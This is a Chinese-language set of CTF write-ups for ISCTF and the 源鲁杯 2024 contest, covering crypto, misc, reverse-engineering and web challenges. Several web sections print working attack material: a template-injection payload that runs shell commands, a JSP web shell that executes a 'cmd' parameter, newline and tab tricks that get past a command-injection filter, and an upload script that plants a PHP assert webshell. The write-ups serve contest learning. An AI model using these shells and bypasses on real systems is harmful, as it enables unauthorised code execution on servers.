    # 要隐藏的文本消息
    message = "{{[].__class__.__base__.__subclasses__()[137].__init__.__globals__.__builtins__['eval'](\"__import__('os').popen(\'cd ../../../../../ && cat flag\').read()\")}}"

    # 嵌入文本到音频文件
    embed_message('silent_audio.wav', message, 'output_with_message.wav')

    # 从修改后的音频文件中提取消息
    extracted_message = ext('output_with_message.wav')
    print(f"Extracted Message: {extracted_message}")

if __name__ == "__main__":
    test()

原理是网站对音频中的数据进行提取后渲染出来构造一个payload使其执行即可

来自天外的信息

根据文件名，对文件进行解调

import numpy as np
import matplotlib.pyplot as plt
from scipy.signal import decimate
from scipy.io.wavfile import write

file_path = 'fm-complex64-sample_rate-320khz-dec_ratio-20_1'
data = np.fromfile(file_path, dtype=np.complex64)

decimation_factor = 20  # 320 kHz / 20 = 16 kHz (音频采样率)
data_dec = decimate(data, decimation_factor)

angle_diff = np.angle(data_dec[1:] * np.conj(data_dec[:-1]))

audio_data = np.int16((angle_diff / np.max(np.abs(angle_diff))) * 32767)

output_path = 'fm_demodulated_audio.wav'
sample_rate = 16000
write(output_path, sample_rate, audio_data)

print(f"解调后的音频已保存为: {output_path}")

对解调后的音频进行MMSSTV转换

将四部分图片和space后的二维码定位角抠出来拼一下

微信扫描即可获得flag

冷知识：微信的扫码有自己的AI模型优化，所以真的挺强悍的！

ISCTF{Th3_ROmaNtic_Of_Rad1o}

四、Crypto

我和小蓝鲨的秘密

加密代码：

from PIL import Image
from Crypto.Util.number import bytes_to_long, long_to_bytes
import numpy as np

n = 29869349657224745144762606999
e = 65537

original_image_path = "flag.jpg"
img = Image.open(original_image_path)
img = img.convert("RGB")

img_array = np.array(img)
h, w, _ = img_array.shape

encrypted_array = np.zeros((h, w, 3), dtype=object)
for i in range(h):
    for j in range(w):
        r, g, b = int(img_array[i, j, 0]), int(img_array[i, j, 1]), int(img_array[i, j, 2])

        encrypted_array[i, j, 0] = pow(r, e, n)
        encrypted_array[i, j, 1] = pow(g, e, n)
        encrypted_array[i, j, 2] = pow(b, e, n)

np.save("encrypted_image.npy", encrypted_array)
print("图片已加密并保存为 encrypted_image.npy")

解密代码：

import numpy as np
from PIL import Image
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
from sympy import factorint

# 定义 RSA 参数
n = 29869349657224745144762606999
e = 65537

def factorize_n(n):
    # 使用现有库来进行质因数分解
    factors = factorint(n)
    if len(factors) == 2:  # 确保 n 有且仅有两个质因子
        p, q = list(factors.keys())
        return p, q
    return None, None

# 计算 d
def calculate_private_key(p, q, e):
    # 计算欧拉函数 ϕ(n) = (p - 1) * (q - 1)
    phi_n = (p - 1) * (q - 1)
    # 使用扩展欧几里得算法计算 d
    d = inverse(e, phi_n)
    return d

# 质因数分解 n
p, q = factorize_n(n)
if p is None or q is None:
    print("未能成功分解 n 为质因数")
else:
    print(f"n = {n} 的质因数为 p = {p}, q = {q}")
    # 计算私钥 d
    d = calculate_private_key(p, q, e)
    print(f"计算得到的私钥 d = {d}")

    # 加载加密图像数据
    encrypted_array = np.load("encrypted_image.npy", allow_pickle=True)

    # 获取图像的高度和宽度
    h, w, _ = encrypted_array.shape

    # 使用numpy的object类型来处理大整数
    encrypted_array = encrypted_array.astype(object)  # 使用 object 类型来存储大整数
    decrypted_array = np.zeros((h, w, 3), dtype=np.uint8)  # 解密后的图像存储

    # 使用向量化方法解密图像
    for i in range(h):
        for j in range(w):
            # 解密每个像素的 RGB 值
            for k in range(3):
                encrypted_pixel_value = encrypted_array[i, j, k]
                decrypted_pixel_value = pow(encrypted_pixel_value, d, n) % 256
                decrypted_array[i, j, k] = decrypted_pixel_value

    # 将解密后的图像数组转换为图像
    decrypted_image = Image.fromarray(decrypted_array)

    # 保存解密后的图像
    decrypted_image.save("decrypted_flag.jpg")
    print("图片已解密并保存为 decrypted_flag.jpg")


n = 29869349657224745144762606999 的质因数为 p = 186431677583461, q = 160216064374859
计算得到的私钥 d = 14529273505388659836222611033
图片已解密并保存为 decrypted_flag.jpg

ChaCha20-Poly1305

from Crypto.Cipher import ChaCha20_Poly1305
import os

key = os.urandom(32)
nonce = os.urandom(12)

with open('flag.txt', 'rb') as f:
    plaintext = f.read()

cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)

ct, tag = cipher.encrypt_and_digest(plaintext)

print(f"Encrypted Flag: {ct.hex()}")
print(f"Tag: {tag.hex()}")
print(f"Nonce: {nonce.hex()}")

with open('key.txt', 'w') as key_file:
    key_file.write(key.hex())

直接调用了ChaCha20加密

调用解密函数即可

from Crypto.Cipher import ChaCha20_Poly1305

key = bytes.fromhex("173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135")
ciphertext = bytes.fromhex("20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb")
tag = bytes.fromhex("70ffcc508bf4519e7616f602123c307b")
nonce = bytes.fromhex("d8ebeedec812a6d71240cc50")

cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)

plaintext = cipher.decrypt_and_verify(ciphertext, tag)
print(f"Decrypted Flag: {plaintext.decode()}")

Decrypted Flag: ISCTF{Blueshark_Swims_Through_ChaCha20_Poly1305}

小蓝鲨的密码

打开图片，

路在脚下，猜测压缩包密码为文件名bluesharkinfo

提取出一个密码字典

遍历即可

ISCTF{good!_Welcome_blueshark!!!}

五、Re

Ezre

exp：

def decrypt_flag(encrypted_flag, key):
    decrypted_flag = []
    key_length = len(key)

    for i, char in enumerate(encrypted_flag):
        if 'A' <= char <= 'Z':  # 仅处理大写字母
            encrypted_ascii = ord(char)
            key_ascii = ord(key[i % key_length])
            # 减去 key 对应的字符值，并调整到范围内
            decrypted_ascii = (encrypted_ascii - key_ascii) % 26 + ord('A')
            decrypted_flag.append(chr(decrypted_ascii))
        else:
            # 非大写字母直接保留
            decrypted_flag.append(char)

    return ''.join(decrypted_flag)


if __name__ == "__main__":
    encrypted_flag = "QKEMK{7JB5_i5_W3SllD_3z_W3}"
    key = "ISCTF"

    decrypted_flag = decrypt_flag(encrypted_flag, key)
    print("解密后的 flag:", decrypted_flag)

ISCTF{7HI5_i5_R3AllY_3z_R3}

py不好，会被ban

下载附件，一看这icon就知道是pyInstaller打包的，我们直接用pyinstxtractor解包。

用uncompyle6尝试解码，发现是python3.12编写，没法直接看代码，所以我们用pycdas读字节码来分析。

可以发现里面只有两个函数：main 和 verify

我们先看main：

 [Code]
            File Name: main.py
            Object Name: main
            Qualified Name: main
            Arg Count: 0
            Pos Only Arg Count: 0
            KW Only Arg Count: 0
            Stack Size: 6
            Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
            [Names]
                'print'
                'input'
                'len'
                'ord'
                'verify'
            [Locals+Names]
                'language'
                'OO000'
                'language1'
                'OOO00'
                'len1'
                'itemm'
                'item'
            [Constants]
                None
                'Y0u k0nw what is the best language in the world???'
                ''
                'is_.py_not_py'
                'goOo0od!!!'
                'So,th3n???'
                True
                'very goOo0od!!!'
                'What a pity!!!T_T'
                'NoOo0o!!!T_T'
            [Disassembly]
                0       RESUME                          0
                2       LOAD_GLOBAL                     1: NULL + print
                12      LOAD_CONST                      1: 'Y0u k0nw what is the best language in the world???'
                14      CALL                            1
                22      POP_TOP
                24      LOAD_GLOBAL                     3: NULL + input
                34      CALL                            0
                42      STORE_FAST                      0: language
                44      BUILD_LIST                      0
                46      STORE_FAST                      1: OO000
                48      BUILD_LIST                      0
                50      STORE_FAST                      2: language1
                52      LOAD_CONST                      2: ''
                54      STORE_FAST                      3: OOO00
                56      LOAD_FAST                       0: language
                58      LOAD_CONST                      3: 'is_.py_not_py'
                60      COMPARE_OP                      40 (==)
                64      POP_JUMP_IF_FALSE               130 (to 326)
                66      LOAD_GLOBAL                     1: NULL + print
                76      LOAD_CONST                      4: 'goOo0od!!!'
                78      CALL                            1
                86      POP_TOP
                88      LOAD_GLOBAL                     1: NULL + print
                98      LOAD_CONST                      5: 'So,th3n???'
                100     CALL                            1
                108     POP_TOP
                110     LOAD_GLOBAL                     3: NULL + input
                120     CALL                            0
                128     STORE_FAST                      3: OOO00
                130     LOAD_GLOBAL                     5: NULL + len
                140     LOAD_FAST                       3: OOO00
                142     CALL                            1
                150     STORE_FAST                      4: len1
                152     LOAD_FAST                       0: language
                154     GET_ITER
                156     LOAD_FAST_AND_CLEAR             5: itemm
                158     SWAP                            2
                160     BUILD_LIST                      0
                162     SWAP                            2
                164     FOR_ITER                        13 (to 192)
                168     STORE_FAST                      5: itemm
                170     LOAD_GLOBAL                     7: NULL + ord
                180     LOAD_FAST                       5: itemm
                182     CALL                            1
                190     LIST_APPEND                     2
                192     JUMP_BACKWARD                   15 (to 164)
                194     END_FOR
                196     STORE_FAST                      2: language1
                198     STORE_FAST                      5: itemm
                200     LOAD_FAST                       3: OOO00
                202     GET_ITER
                204     LOAD_FAST_AND_CLEAR             6: item
                206     SWAP                            2
                208     BUILD_LIST                      0
                210     SWAP                            2
                212     FOR_ITER                        13 (to 240)
                216     STORE_FAST                      6: item
                218     LOAD_GLOBAL                     7: NULL + ord
                228     LOAD_FAST                       6: item
                230     CALL                            1
                238     LIST_APPEND                     2
                240     JUMP_BACKWARD                   15 (to 212)
                242     END_FOR
                244     STORE_FAST                      1: OO000
                246     STORE_FAST                      6: item
                248     LOAD_GLOBAL                     9: NULL + verify
                258     LOAD_FAST                       1: OO000
                260     LOAD_FAST                       4: len1
                262     LOAD_FAST                       2: language1
                264     CALL                            3
                272     LOAD_CONST                      6: True
                274     IS_OP                           0 (is)
                276     POP_JUMP_IF_FALSE               12 (to 302)
                278     LOAD_GLOBAL                     1: NULL + print
                288     LOAD_CONST                      7: 'very goOo0od!!!'
                290     CALL                            1
                298     POP_TOP
                300     RETURN_CONST                    0: None
                302     LOAD_GLOBAL                     1: NULL + print
                312     LOAD_CONST                      8: 'What a pity!!!T_T'
                314     CALL                            1
                322     POP_TOP
                324     RETURN_CONST                    0: None
                326     LOAD_GLOBAL                     1: NULL + print
                336     LOAD_CONST                      9: 'NoOo0o!!!T_T'
                338     CALL                            1
                346     POP_TOP
                348     RETURN_CONST                    0: None
                350     SWAP                            2
                352     POP_TOP
                354     SWAP                            2
                356     STORE_FAST                      5: itemm
                358     RERAISE                         0
                360     SWAP                            2
                362     POP_TOP
                364     SWAP                            2
                366     STORE_FAST                      6: item
                368     RERAISE                         0
        '__main__'
        None
    [Disassembly]
        0       RESUME                          0
        2       LOAD_CONST                      0: <CODE> verify
        4       MAKE_FUNCTION                   0
        6       STORE_NAME                      0: verify
        8       LOAD_CONST                      1: <CODE> main
        10      MAKE_FUNCTION                   0
        12      STORE_NAME                      1: main
        14      LOAD_NAME                       2: __name__
        16      LOAD_CONST                      2: '__main__'
        18      COMPARE_OP                      40 (==)
        22      POP_JUMP_IF_FALSE               8 (to 40)
        24      PUSH_NULL
        26      LOAD_NAME                       1: main
        28      CALL                            0
        36      POP_TOP
        38      RETURN_CONST                    3: None
        40      RETURN_CONST                    3: None

分析前半部分：输出’Y0u k0nw what is the best language in the world???’

判断输入是否为is_.py_not_py，是就进入下一个逻辑，否就退出。那么我们第一个解就是is_.py_not_py。

 2       LOAD_GLOBAL                     1: NULL + print
                12      LOAD_CONST                      1: 'Y0u k0nw what is the best language in the world???'
                14      CALL                            1
                22      POP_TOP
                24      LOAD_GLOBAL                     3: NULL + input
                34      CALL                            0
                42      STORE_FAST                      0: language
                44      BUILD_LIST                      0
                46      STORE_FAST                      1: OO000
                48      BUILD_LIST                      0
                50      STORE_FAST                      2: language1
                52      LOAD_CONST                      2: ''
                54      STORE_FAST                      3: OOO00
                56      LOAD_FAST                       0: language
                58      LOAD_CONST                      3: 'is_.py_not_py'
                60      COMPARE_OP                      40 (==)
                64      POP_JUMP_IF_FALSE               130 (to 326)
                66      LOAD_GLOBAL                     1: NULL + print
                76      LOAD_CONST                      4: 'goOo0od!!!'

接下来是第二个解。第二个解直接涉及到verify函数，我们来分析verify：

        [Code]
            File Name: main.py
            Object Name: verify
            Qualified Name: verify
            Arg Count: 3
            Pos Only Arg Count: 0
            KW Only Arg Count: 0
            Stack Size: 9
            Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
            [Names]
                'range'
                'reverse'
                'len'
            [Locals+Names]
                'o0000'
                'len2'
                'language2'
                'enc'
                'i'
                'ii'
                'iii'
                'iiii'
            [Constants]
                None
                (
                    25
                    85
                    88
                    62
                    105
                    93
                    110
                    124
                    1
                    97
                    46
                    47
                    75
                    5
                    116
                    48
                    2
                    25
                )
                1
                False
                True
            [Disassembly]
                0       RESUME                          0
                2       BUILD_LIST                      0
                4       LOAD_CONST                      1: (25, 85, 88, 62, 105, 93, 110, 124, 1, 97, 46, 47, 75, 5, 116, 48, 2, 25)
                6       LIST_EXTEND                     1
                8       STORE_FAST                      3: enc
                10      LOAD_GLOBAL                     1: NULL + range
                20      LOAD_FAST                       1: len2
                22      LOAD_CONST                      2: 1
                24      BINARY_OP                       10 (-)
                28      CALL                            1
                36      GET_ITER
                38      FOR_ITER                        19 (to 78)
                42      STORE_FAST                      4: i
                44      LOAD_FAST                       0: o0000
                46      LOAD_FAST                       4: i
                48      BINARY_SUBSCR
                52      LOAD_FAST                       0: o0000
                54      LOAD_FAST                       4: i
                56      LOAD_CONST                      2: 1
                58      BINARY_OP                       0 (+)
                62      BINARY_SUBSCR
                66      BINARY_OP                       12 (^)
                70      LOAD_FAST                       0: o0000
                72      LOAD_FAST                       4: i
                74      STORE_SUBSCR
                78      JUMP_BACKWARD                   21 (to 38)
                80      END_FOR
                82      LOAD_FAST                       0: o0000
                84      LOAD_ATTR                       3: reverse
                104     CALL                            0
                112     POP_TOP
                114     LOAD_GLOBAL                     1: NULL + range
                124     LOAD_FAST                       1: len2
                126     LOAD_CONST                      2: 1
                128     BINARY_OP                       10 (-)
                132     CALL                            1
                140     GET_ITER
                142     FOR_ITER                        19 (to 182)
                146     STORE_FAST                      5: ii
                148     LOAD_FAST                       0: o0000
                150     LOAD_FAST                       5: ii
                152     BINARY_SUBSCR
                156     LOAD_FAST                       0: o0000
                158     LOAD_FAST                       5: ii
                160     LOAD_CONST                      2: 1
                162     BINARY_OP                       0 (+)
                166     BINARY_SUBSCR
                170     BINARY_OP                       12 (^)
                174     LOAD_FAST                       0: o0000
                176     LOAD_FAST                       5: ii
                178     STORE_SUBSCR
                182     JUMP_BACKWARD                   21 (to 142)
                184     END_FOR
                186     LOAD_GLOBAL                     1: NULL + range
                196     LOAD_FAST                       1: len2
                198     CALL                            1
                206     GET_ITER
                208     FOR_ITER                        30 (to 270)
                212     STORE_FAST                      6: iii
                214     LOAD_FAST                       0: o0000
                216     LOAD_FAST                       6: iii
                218     COPY                            2
                220     COPY                            2
                222     BINARY_SUBSCR
                226     LOAD_FAST                       2: language2
                228     LOAD_FAST                       6: iii
                230     LOAD_GLOBAL                     5: NULL + len
                240     LOAD_FAST                       2: language2
                242     CALL                            1
                250     BINARY_OP                       6 (%)
                254     BINARY_SUBSCR
                258     BINARY_OP                       25 (^=)
                262     SWAP                            3
                264     SWAP                            2
                266     STORE_SUBSCR
                270     JUMP_BACKWARD                   32 (to 208)
                272     END_FOR
                274     LOAD_GLOBAL                     1: NULL + range
                284     LOAD_FAST                       1: len2
                286     CALL                            1
                294     GET_ITER
                296     FOR_ITER                        15 (to 328)
                300     STORE_FAST                      7: iiii
                302     LOAD_FAST                       0: o0000
                304     LOAD_FAST                       7: iiii
                306     BINARY_SUBSCR
                310     LOAD_FAST                       3: enc
                312     LOAD_FAST                       7: iiii
                314     BINARY_SUBSCR
                318     COMPARE_OP                      55 (!=)
                322     POP_JUMP_IF_TRUE                1 (to 326)
                324     JUMP_BACKWARD                   15 (to 296)
                326     POP_TOP
                328     RETURN_CONST                    3: False
                330     END_FOR
                332     RETURN_CONST                    4: True

如果看着麻烦，直接让ChatGPT来好了：

这个 verify 函数的字节码可以用以下Python代码来表示。以下是分解后的逻辑步骤和完整的Python代码表示：

分解步骤

**初始化列表 ****enc**:

创建一个列表 enc，包含一组常量整数（可能用于后续的验证）。

双重循环XOR处理:

第一次循环：遍历 o0000 中的元素，并逐个应用 XOR 操作。每个元素 o0000[i] 会与 o0000[i+1] 进行 XOR，结果存储回 o0000[i]。
第二次循环：o0000 列表被逆序排列后，再次对其进行相同的 XOR 处理。

**第三次循环基于 ****language2**:

遍历 o0000 的每个元素，将每个元素与 language2 列表中的相应元素（基于模运算 % 的索引）进行 XOR 运算，并将结果存储回 o0000[i]。

与 **enc** 对比:

遍历 o0000 和 enc，逐元素比对。如果任何元素不匹配，返回 False。如果所有元素匹配，返回 True。

完整Python代码表示

以下是对 verify 函数字节码的等价Python代码

解释

这段代码利用多次 XOR 操作和与 enc 列表的最终比对来验证输入。
如果 o0000 列表在每个步骤后符合预期并最终匹配 enc 列表，则返回 True，否则返回 False。

以上是gpt的回答，可以看到字节码直接被转换为python代码，非常易读。

也就是说这个算法与xor有关，那我们分析其流程，就能写出rev.py

def reverse_verify(enc, language2):
    len2 = len(enc)  # 假设 o0000 的长度与 enc 相同
    o0000 = enc[:]   # 初始化为 enc 的拷贝，用于逐步还原

    # 第三次 XOR 循环的逆运算
    for iii in range(len2):
        o0000[iii] ^= language2[iii % len(language2)]
    
    # 第二次 XOR 循环的逆运算（在反转顺序前执行）
    for ii in reversed(range(len2 - 1)):
        o0000[ii] ^= o0000[ii + 1]
    
    # 反转 o0000 列表
    o0000.reverse()
    
    # 第一次 XOR 循环的逆运算
    for i in reversed(range(len2 - 1)):
        o0000[i] ^= o0000[i + 1]
    
    return o0000

使用方法

# 假设 language2 已知或我们可以提供一个样例
language2 = [ord(c) for c in "is_.py_not_py"]
enc = [25, 85, 88, 62, 105, 93, 110, 124, 1, 97, 46, 47, 75, 5, 116, 48, 2, 25]

# 运行逆向函数
o0000 = reverse_verify(enc, language2)

# 输出 o0000 的 ASCII 字符串
o0000_str = ''.join(chr(x) for x in o0000)
print("逆向得到的字符串:", o0000_str)

最后输出结果：Y0u_r3@l1y_knOw_py

输入exe，显示成功，得到flag：ISCTF{Y0u_r3@l1y_knOw_py}

源鲁杯 2024 - writeup

Fri, 15 Nov 2024 00:00:00 +0000

Round1

Misc

hide_png

下载附件

是一张图片

能隐约看到有点阵组成的Flag

使用PS调整图片

pngorzip

下载附件根据hint 推断出应该是图片内隐写了zip压缩包

发现RGB通道存在zip隐写包含flag.txt

zsteg

发现通道"b1,rgb,lsb,xy"存在ZIP隐写

提取zip

打开压缩包却提示文件损坏

使用010Editor查看压缩包发现有多余的无用数据删去

成功打开压缩包发现是加密压缩包并且不是伪加密

查看文件注释

推测是掩码爆破使用工具进行破解发现完整密码为114514giao

打开flag.txt 得到Flag

plain_crack

下载附件发现

包含build.py和一个压缩包

打开压缩包发现压缩包内同样存在build.py

推测是明文攻击类型计算CRC32 发现均为DD549D08

于是使用工具Advanced Archive Password Recovery进行明文攻击

原压缩包算法:ZipCrypto Deflate

明文攻击成功

打开发现一个docx文档点卡发现提示fakeflag

转换思路因为没有其他信息所以猜测是word隐写

将扩展名改为.zip 打开

发现文件J$BZ17OZ[`1QRKB1(F1]T.png

打开图片所看到的字符就是flag

trafficdet

下载附件

使用随机森林分类器进行模型训练 [Powered By ChatGPT 4o]

import pandas as pd
from sklearn.ensemble import RandomForestClassifier

# 加载训练数据
train_data = pd.read_csv('train.csv')

X_train = train_data.drop(columns=['Label'])  # 特征
y_train = train_data['Label']  # 标签

# 加载测试数据
test_data = pd.read_csv('test.csv')

# 初始化随机森林分类器
clf = RandomForestClassifier(n_estimators=100, random_state=42)

# 训练模型
clf.fit(X_train, y_train)

# 对测试集进行预测
test_predictions = clf.predict(test_data)

result = pd.DataFrame({
    'id': test_data.index + 1,  # 行数从1开始
    'Label': test_predictions  # 预测结果
})

# 保存预测结果到exp.csv
result.to_csv('exp.csv', index=False)

print("预测已完成，结果已保存到 'exp.csv'")

运行即可获得预测好的csv文件，上传即可获得flag

whatmusic

下载附件

压缩包内包含加密的flag文件和未加密的password文件

010打开password 发现文件为内容倒置的png

f = open('password','rb')
a = f.read()
a = a[::-1]
new = open('out.png','wb')
new.write(a)
print(a[::-1])

纯白（

修复高宽

镜像一下ocr提取就行了是压缩包的密码

解压缩出来flag 最抽象的地方来了

hint1 : 这是桑德拉(Thundra)给她女儿唱的歌

hint2 : flag中字母全为大写并且套上YLCTF

查吧查到漫威

她有个女儿叫lyra 一查有个同名的音频解码器和hint1的唱歌对应上了

接下来就是搭建这个lyra的环境折磨我四个小时没搭好放弃了不要分了（

赛后问了aura佬说用vs的codespace 懒得搞了 GG

补档：腾出时间用codespace配置了一下lyra

参考某大佬博客：

http://110.40.41.206:1234/2024/09/03/lyra/

弄好以后得到音频文件放慢倍速听就行！

[签到] 打卡小能手

关注公众号发送文本即可获得flag

Web

Disal

进入容器网页显示

查看网页源代码

<!DOCTYPE html>
<head>
    <title>Can you find the flag?</title>

</head>

<body>
<h3>There is no flag here.</h3>

haha...
</body>

<!--f1ag_is_here.php-->

发现 “f1ag_is_here.php” 访问

发现一张机器人图片名为reobots.jpg 所以推测是爬虫robots协议

访问robots.txt

User-agent: *
Disallow: f1ag.php

访问f1ag.php

<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];

if($a>999999 and $key){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?>

分析代码可知需要通过get方式传入参数b POST方式传入参数a

考察PHP的弱比较构造一个b=1235a

a=1000000abcdef 正则匹配出为abcdef符合6位字符串所以key为True

传入参数得到flag

TOXEC

(Powered By AI)

进入容器发现是文件上传题

上传文件 1.xml

<%
    if("666".equals(request.getParameter("666"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
 %>

web.xml

<?xml version="1.0" encoding="UTF-8"?>
 <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee 
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" 
version="4.0">
 <servlet>
    <servlet-name>xml</servlet-name>
    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>

 </servlet>

 <servlet-mapping>
   <servlet-name>xml</servlet-name>

   <url-pattern>*.xml</url-pattern>

 </servlet-mapping>

 </web-app>

然后通过文件重命名功能覆盖掉原来的配置文件，将xml文件解析为jsp文件

覆盖后访问上传目录的upload/1.xml传入参数即可getshell

使用ls与cat获取flag

shxpl

访问容器

尝试使用;执行ls

多次试验后发现ls，分号，空格均被过滤

使用 %0a 直接换行绕过" ; " 使用%09绕过空格

查询资料发现可以使用du同样可以列举文件

于是使用du -a绕过ls 使用BurpSuite传入构造好的POST参数

domain=www.baidu.com%0adu%09-a%09/

找到文件"/flag_RV2gd5sc"

于是使用cat命令查看文件结果发现cat也被过滤了

发现可以使用more来代替cat 很巧的是more并没有被过滤

尝试结果发现flag也被过滤了通配符*也不行

于是使用[f-h]替换g进行模糊匹配 (正则大法好)

于是构造

domain=www.baidu.com%0amore%09/fla[f-h]_RV2gd5sc

看回显成功获得Flag

Round2

Crypto

ezAES

连接容器获得AES加密部分的代码

nc challenge.yuanloo.com 36780

this is a AES,you maybe need full padding.
	
	key is YLCTF-CRYPTO
	iv is YLCTF-IV
	AES define is

	from Crypto.Cipher import AES
	AES.new(key,2,iv)
	result = b""
	padded_data = pad(flag, AES.block_size)
	endata = aes.encrypt(padded_data)
	print(endata)

\xed\x1d]\xe6p\xb7\xfa\x90/Gu\xf4\xe2\x96\x84\xef90\x92e\xb4\xf8]"\xfc6\xf8\x8cS\xe9b\x19
your result:

分析这段加密代码可知给出了密钥，初始向量与最终密文

联合题目分析“看起来你需要补充些什么”

发现key和IV长度分别为12和8

不符合AES中 128位（16字节）、192位（24字节）或256位（32字节）的要求

查询资料使用 PKCS7填充方式

exp如下：

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 密钥与初始向量IV
key = b'YLCTF-CRYPTO'  # 12字节密钥
iv = b'YLCTF-IV'  # 8字节IV
# 进行PKCS7填充
key = key.ljust(16, b'\0')  # 将密钥填充到16字节
iv = iv.ljust(16, b'\0')  # 将IV填充到16字节

# 使用CBC模式初始化AES加密器
aes = AES.new(key, AES.MODE_CBC, iv)

# 加载密文
encrypted_data = b'\xed\x1d]\xe6p\xb7\xfa\x90/Gu\xf4\xe2\x96\x84\xef90\x92e\xb4\xf8]"\xfc6\xf8\x8cS\xe9b\x19'

# 解密数据
decrypted_padded_data = aes.decrypt(encrypted_data)

# 去除PKCS7填充
decrypted_data = unpad(decrypted_padded_data, AES.block_size)
print(decrypted_data.decode('utf-8'))  # 转换为字符串

输出结果为：keysauikoydasuicxs

输入至服务器得到flag

Web

Cmnts

打开容器 F12查看源代码

Base64解码得到“get_th1s_f1ag.php” 访问

分析代码可知因为使用的是parse_str($_SEVER[’???’]) 会将所有得到的参数转换为变量

当pass参数存在时给变量key赋值为pass的md5值

但是如果pass不存在则不会对key进行操作而利用parse_str($_SEVER[’???’]) 可以直接传入key参数

直接令key=md5值即可获得flag

PHUPE

文件上传题下载附件查看源码找到对文件检测的部分

public function uploadFile($file) {
	$name = isset($_GET['name'])? $_GET['name'] : basename($file['name']);
	$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
	if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) {
		return false;
	}
	$data = file_get_contents($file['tmp_name']);
	if(preg_match('/php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high/i',$data)){
		echo "<script>alert('恶意内容!')</script>";
		return false;
	}
	$target_file = $this->uploadDir .$name;
	if (move_uploaded_file($file['tmp_name'], $target_file)) {
		echo "<script>alert('文件上传成功!')</script>";
		return true;
	}
	return false;
}

分析可知绕过检测的要求为：扩展名没有’ph’和’hta'

因为不能有’hta’，所以无法通过上传.htaccess文件将其他文件解析为php

使用PATHINFO_EXTENSION或许文件信息可以利用一下他获得的扩展名是.后的文本

通过在文件名后添加.可使获取到的扩展名为空所以绕过了对扩展名的检测

同时在.前添加/ 这样在move_uploaded_file时因为系统无法创建名为".“的文件

所以”/.“会被截取文件名将会被识别为"shell.php”

同时因为会对文件内容进行检测不能包含

使用标签来替代<?php >

同时查一查有什么没有被排除的函数可以执行命令

写出如下exp

import requests

url = 'http://challenge.yuanloo.com:38107/?name=shell.php/.'
file_content = "<? @assert($_POST['cmd'])?>"
files = {
	'file': ('I_Am_Mnzn', file_content)
}
response = requests.post(url=url, files=files)
print(response.text)

上传成功

蚁剑连接

成功GetShell 获取flag即可

Misc

Trace

下载附件

010打开文件尾后有一大串文本看着像Base64

提出来丢赛博厨子

转换完发现是rar 提取出来发现是加密压缩包使用工具尝试爆破密码

发现是扭曲的图片

至于怎么看flag

把四张图拼一起就能看到一个完整的flag了 (

滴答滴

010打开发现是由 00 FF 组成的

结合题目：

联想到BUUCTF 有一道Crypto3就用了个编码方式叫Manchester(曼彻斯特)

然后将HEX中的 00 -> 0 ; FF -> 1

得到的二进制文本再进行一次Manchester解码

01->0 ; 10->1

然后把得到的2进制数据转换为字符串即可

代码如下：

from Crypto.Util.number import long_to_bytes

# 读取文件中的十六进制数据
with open('attachment', 'rb') as file:
    hex_data = file.read()  # 读取文件内容

# 将读取到的二进制数据转换为十六进制字符串
hex_string = hex_data.hex().upper()  # 转换为十六进制，并转为大写
print("Old HEX:", hex_string)

# 00->0，FF->1
temp = ''
for i in range(0, len(hex_string), 2):
    hex_pair = hex_string[i:i + 2]  # 每次读取两个字符进行转换
    if hex_pair == '00':
        temp += '0'
    elif hex_pair == 'FF':
        temp += '1'
# 打印第一次曼彻斯特编码结果
print("Manchester 1:", temp)

temp2 = ''

# 进行第二次曼彻斯特编码
#01->0,10->1
for i in range(0, len(temp), 2):
    pair = temp[i:i + 2]  # 每次读取两个字符进行转换
    if pair == '01':
        temp2 += '0'
    elif pair == '10':
        temp2 += '1'
# 打印第二次曼彻斯特编码结果
print("Manchester 2:", temp2)

flag = ''
# 按8位分组生成十六进制
for i in range(0, len(temp2), 8):
    byte = temp2[i:i + 8]  # 提取每8位作为一个字节
    flag += long_to_bytes(int(byte, 2)).decode()
# 输出最终结果
print("Flag :", flag)

Round3

Misc

Blackdoor

下载附件分析文件

实在是没什么好说的了我火绒给include.php报了个危险

太喜感了实在是爆笑 what can i say

Tinted（一血）

下载附件一张图片

解题流程：

取每个色块色值的后两位作为16进制数

转换为字符串后进行Base64解密字符集比较特殊

字符集3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

67 65 72 49 66 4a 6a 42 52 5a 66 31 52 67 62 74 52 4c 52 39

54 64 4a 75 52 63 75 75 53 74 57 75 51 67 4a 74 69 5a 57 39

54 67 4a 7a 54 64 52 76 54 4c 69 75 52 74 62 71 70 62 35 35

->HexToString->Base64Decode->

YLCTF{25e1d30c-9141-4784-a3b8-9a99358f4340}

Figure（一血）

下载附件，010打开

发现所有字符均在0-f范围内推测是16进制

转换成16进制文件试试打开发现乱码

看开头的Figure文件末尾->0598

猜测是8950倒序->png文件头

于是进行逆序->转换处理

with open(‘Figure’, ‘r’) as input_file:

input_text = input_file.read()

reversed_text = input_text[::-1]

byte_data = bytes.fromhex(reversed_text)

